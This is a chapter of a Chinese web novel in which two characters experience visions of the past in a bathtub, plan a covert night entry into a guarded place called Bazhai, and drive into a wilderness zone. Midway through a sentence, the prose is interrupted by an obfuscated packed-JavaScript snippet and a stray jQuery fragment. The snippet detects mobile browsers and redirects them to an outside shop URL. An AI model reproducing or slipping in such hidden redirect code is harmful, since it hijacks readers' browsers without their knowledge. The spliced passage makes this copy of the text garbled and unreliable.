褚寒本想抓换一件衣服,但雁少青大步流星,已经出门。褚寒只好裹紧浴袍,紧随其后也出门去。
却是去了雁少青的房间。
门在身后落锁,雁少青径直进入浴室。
褚寒迟疑两步,才向前走去,但没进浴室,只是倚在门框上。
他半干的凌乱发丝青葱飞扬,双睫投下的阴影压住瞳孔里的欲望:“不是说要告诉我怎么走水路吗?你又想干什么。”
雁少青双腿交叠,慵懒地斜坐在巨大浴缸边缘的大理石台面上,随手撩水:“坐这里,不靠近点我怎么告诉你。”
庄园酒店盘踞在半山上,时值六月,浴室落地窗外是满目落日沉霞,映在大理石砌成的灰色浴缸内,如夕阳残照在森林隐湖之上。雁少青手指波动间形成细纹,搅碎一汪清泉。
褚寒明知有诈,却还是大跨步走向雁少青。
没想到他刚坐到雁少青身侧,就被雁少青掐住脖子按在了浴缸里,入水时五感瞬间被冷水包围。
褚寒下意识屏气,正欲还手推开雁少青,雁少青却松开手,将他整个推入浴缸里。
“别动。”雁少青恶狠狠地说。
褚寒仍要起身,雁少青忽然也跳入浴缸,压制在褚寒身上,双手钳制住褚寒的脖子,把他禁锢在浴缸里。
失心疯?还是被什么东西上了身?
褚寒努力让自己恢复平静,又屏了口气,双手抓住雁少青手腕,反向用力,解开雁少青的钳制。
他本想从浴缸里出来,雁少青却先一步松开手,捧住他的脸,俯身向下,几乎贴住褚寒的脸。
他眼睁睁看着她朝自己靠近。
眉目漆黑,面色莹白,浅淡的香气萦绕在他鼻尖。
她明明身体冰凉,可接触到他身体的每一寸都惹起一团火。
是她没错。
他现在只想让身体完全被冷水浸泡。他闭上眼,沉入水中。
雁少青却坐直了身体。
褚寒随之也想起身,可他被雁少青死死按住,无法动弹。
慢慢地,他开始大脑缺氧,意识不清。
快死了吗?
就在他呼吸停止之时,他感觉自己仿佛变成襁褓内的婴儿,有个人用手托住自己,在他耳边呢喃着,好孩子,你要茁壮成长,成为一个善良、坚强、勇敢的人,有一个天下间最美好的女子会抚养你长大成人,你要跟着她的脚步,听她的话。
她说完,在他额上深深一吻,接着下定了决心,毫不犹豫地将幼小的他缓缓放入水中的木盆里。
她站在岸上,遥遥地看着他,一直到树影将她的身影完全遮蔽,再看不见。
他能感觉到那个人心存极致爱意,有无限不舍之情。
他努力想看到她的样貌,可他怎么都睁不开眼睛。
他只是个婴儿,无法动弹,他躺在狭小的木盆里,顺着河流、与河里的鱼一起随波逐流,慢慢飘荡。他听到水里翻滚的小石子,感受到跳跃的树影滑过他的脸庞,听到岸边莺啼鸟鸣。
不知过了多久,流水变缓,木盆被一只手停住,靠在岸边的石头滩上。他终于有了力气,一睁开眼,就看到许音把手伸进河水中抱住他。
树枝缝隙里的阳光从高空一泻而下,时间在光影间跳动。
“你是我从水里捡到的小孩。”许音面对小褚寒的提问,曾经以玩笑的语气说了这句话。
难道是真的,难道许音真是在河流中捡到他的。
褚寒心跳加速,努力想重新回到进入木盆的那一刻,他太想看清楚当时的情景,太想知道那个把他放入水中的人是谁。
可是他无论怎么用力都无法使情景重现。
他浑身冒汗,精神紧绷。
忽然,他感觉身体一轻,有人将他从水中提了出来。
“醒醒,快醒醒。”
一记响亮的巴掌唤醒了褚寒的意识。
雁少青的脸出现在眼前。
褚寒猛地坐直身体,大口喘气。
“怎么回事?”雁少青双手抓住褚寒的浴袍领子,“你平白睁着眼睛,我以为你真死了。”
褚寒没在意火辣刺痛的嘴角,用手擦去脸上的水:“我看到许音了。”
“她在哪?”
“是二十七年前的许音。”脸上没有一根皱纹,青春洋溢,穿着简单的衬衣牛仔裤,如同他的研究生同学。
雁少青坐回大理石台面,脚掌在水中轻轻摇晃:“我也会这样,浸泡在水中时,能看到很多过去的景象。甚至有时候我感觉水能保护我,即使身处冰水当中也觉得温暖。”
“是吗?”褚寒平息情绪,向前移动一步的距离,右手搭在大理石台面上,从远处看,似乎将雁少青环抱起来,“那么,你看到的过去是快乐的场景,还是痛苦的回忆?”
“都有,也会看到早已忘记的片段。”
“也就是说,这些画面都是真实的?”
“对,即便不在你的记忆当中。”
褚寒垂目,极力地回忆看到的画面:“可是,我该怎么区分我看到的情景是真实发生的还是我的梦境呢。”
雁少青拉起褚寒的手,手腕上暗红色的鱼纹似乎在流动:“回溯过去的画面时,鱼纹里的血液会逆流。若只是幻想和梦境,鱼纹不会有任何变化。”
看到手腕上的鱼纹内血液果然在环绕,褚寒迫切地问:“能不能重现刚才看见的画面?”
雁少青把侧脸放在膝盖上,视线与褚寒齐平:“一个画面只能看到一次。”
“不清楚的画面也只能看到一次吗?”
“说明你当时没看清楚,所以再次看去依然模糊。”雁少青伸手,指腹碾过褚寒发红的左脸,“遗憾之所以是遗憾,就是因为没有重来的机会。”
褚寒叹了口气,看到许音却不可及,心底怅然失落,他向前移动半步,拉近和雁少青的距离,想获得一些来自人的体温。
雁少青却向后撑在台面上,像在思考什么,一只脚无意识缓缓晃动,不经意间碰到褚寒的身体。
水一瞬间放大了身体的触感。
褚寒下意识抓住雁少青的脚踝。
“别乱动,”褚寒咬牙,“所以你是为了让我看到过去的画面找到关于许音的线索,才把我推进浴缸里的?”
“当然不是。你没有发现吗?你在水里不是用鼻子呼吸的。”
褚寒如梦初醒,难怪他能在水下闭气那么长的时间:“你直接让我进水里闭气也是可以的,不需要那么暴力。”
雁少青捉弄似的轻轻晃动脚腕。
猛然意识到自己手中握着什么,褚寒触电般松开手。
他气恼地瞪向雁少青,可她被水浸湿,黑色丝绸睡衣顺着她的身体区县完美的贴合在身体上。
褚寒深吸一口气,不敢直视,只好起身,从旁边架子上拿了一条毛巾披在雁少青身上。
雁少青旋即也站起来,走下浴缸的台阶。
“因为我恶毒。”雁少青把浴巾扯掉,丢在褚寒的头上。
雁少青取下挂在衣架上的浴袍,披在身上,走到落地窗前的躺椅上坐下。
她展开地图:“你游过泳吧,你游泳的时候不换气吗?平常状态下没办法激发你的潜力,只有身体濒死状态的求生意识才能唤起你尘封的本能。”
单面透明的玻璃外是空旷的荒野草原,远处群山缭绕。
褚寒手里抱着雁少青用过的浴巾。
“我明白了,护卫军在在八寨入口处巡逻,你害怕我们用工具下洞、潜水会留下痕迹,被他们尾随。只有丢掉所有的装备,只身入寨,才是最安全有效的方法。”
“八寨不是良善之辈,护卫队里有他们的间谍。他们发现我们找到了入寨之法,把我们灭口也说不定。”
褚寒说:“我们人生地不熟,明天先去探探虚实,后天再出发,这样计划会不会更加保险。”
雁少青摇头:“一旦我们在那附近出现,即便当时没被发现,留下的痕迹也一定会引起护卫军的警觉,第二次再想靠近入口就难了。你精通天文地理,好好观察天象,帮我们找一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754357|209276||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
窗口期,看怎么利用天时地利让我们躲过护卫军的巡逻。我们的机会只有一次。”
褚寒迎上雁少青坚定的目光,点点头,随后他看向远处的高耸入云的山峰。
褚寒想了想,站起身:“你身体中毒初愈,先去休息。我回去研究。”
雁少青打了个哈欠:“你就留在这里研究吧,有事随时可以叫我。”
——
入八寨的时间定在后一天的凌晨一点。
褚寒通过观测,发现这时候会发生X级太阳耀斑,可以干扰信号,甚至可以造成无线电通讯中段。耀斑又会影响大气环流的正常运行①,叠加附近云团的走向,很快会降下大暴雨,这能帮助他们清除活动痕迹。
十一点,天黑了下来。
两人准备好食物,检查过武器,根据雁少青见过八寨景象的需求,挑选冲锋、速干衣、照明工具、升降绳索、食物等装备,发动汽车上路。
——
驶出兰羌县一个多小时后,上了国道入阿钦贡加路段,便再无照明。
此时国道上几乎无车,车灯容易引人注目,褚寒只好关了灯,在导航的指挥下,仅靠肉眼行进,如暗夜海上一叶孤舟。
褚寒双手扶着方向盘:“阿钦贡加路况极差,若车辆在半路熄火,或者陷入淤泥、流沙中,咱们可能要有去无回。”虽是沉重的话,褚寒的语气并不凝重。
雁少青揶揄:“反正我死了还有你这个垫背的。”
“黄泉路上不独行,我觉得很好。”褚寒欢快地用手指敲击几下方向盘。“你工作了这么多年,怎么没考驾照学开车呢?”
雁少青看着前方的路:“这是个秘密。”一个封存在黑暗中的秘密。
“等咱们出了八寨,我教你开车。”褚寒说。
“开车就不必了,遍地都有驾校,你不见得比他们水平高。”
“哦。”褚寒略显失望。难道雁少青是在告诉他,出了八寨就别见面了?
雁少青转过头:“教我骑马吧。”
褚寒噗地笑出来:“好,我一准帮你挑一匹最烈的马,才好配得上你这个最烈的人。”
闲谈之间,已驶入阿钦贡加无人区地界。由于路况极其复杂,褚寒打开近光灯,照亮眼前一小块区域。
而为了不被发现行动轨迹,褚寒没有在护卫队办理通行证,而是选择了另一条人迹罕至的路线。
他向雁少青介绍无人区的规则:“阿钦贡加风景壮美,每年都会有探险者挑战只身横穿无人区。十年前,一位冒险家在穿越过程中遇险身亡,引起轩然大波。自那以后,若想进入阿钦贡加,就必须携带证件去护卫队办理通行证,保证当天内必须返回,不得在无人区逗留48小时以上。”
雁少青说:“今天早上6点多我们去大堂吃早饭的时候,不是有一队车队出发来阿钦贡加。算着时间,他们早上7点出发,现在应该已经回去了。”
“上楼的时候我们虽然没看到人,但在走廊里听到他们在讨论进入无人区的注意事项。听口音像苍郁人。”褚寒说,“他们请的那名导游很专业,路线设置和物资配备都相当内行。”
“比如说?”
“这群人实际出行人数为6人,如果在普通的平原地带,一般两辆车就够了。在无人区,三辆车是组成车队的底线。但是他们配备了八辆车,这足以保证如果有车辆陷入沼泽、泥沙当中,可以直接弃车上路。”
雁少青点头:“结伴而行,能防止陷车和失联的情况。”
“不止如此,无人区暗藏杀机,穿越无人区的勇士们,最怕遇见的不止有野狼,还有单枪匹马的独狼。说不定某辆独行侠的后备箱里就装着一具尸体,或是成捆的冰冷武器。”
窗外冷风呼啸,卷着满地的土石打到挡风玻璃上。两人同时注意到远处有影影绰绰的灯光,以及在穿梭其间来来回回的人影。
褚寒关了大灯,正欲绕道而行,前方两个人冲了过来,对他们疯狂闪灯挥手。
褚寒说:“他们的闪灯频率,是求救的意思。”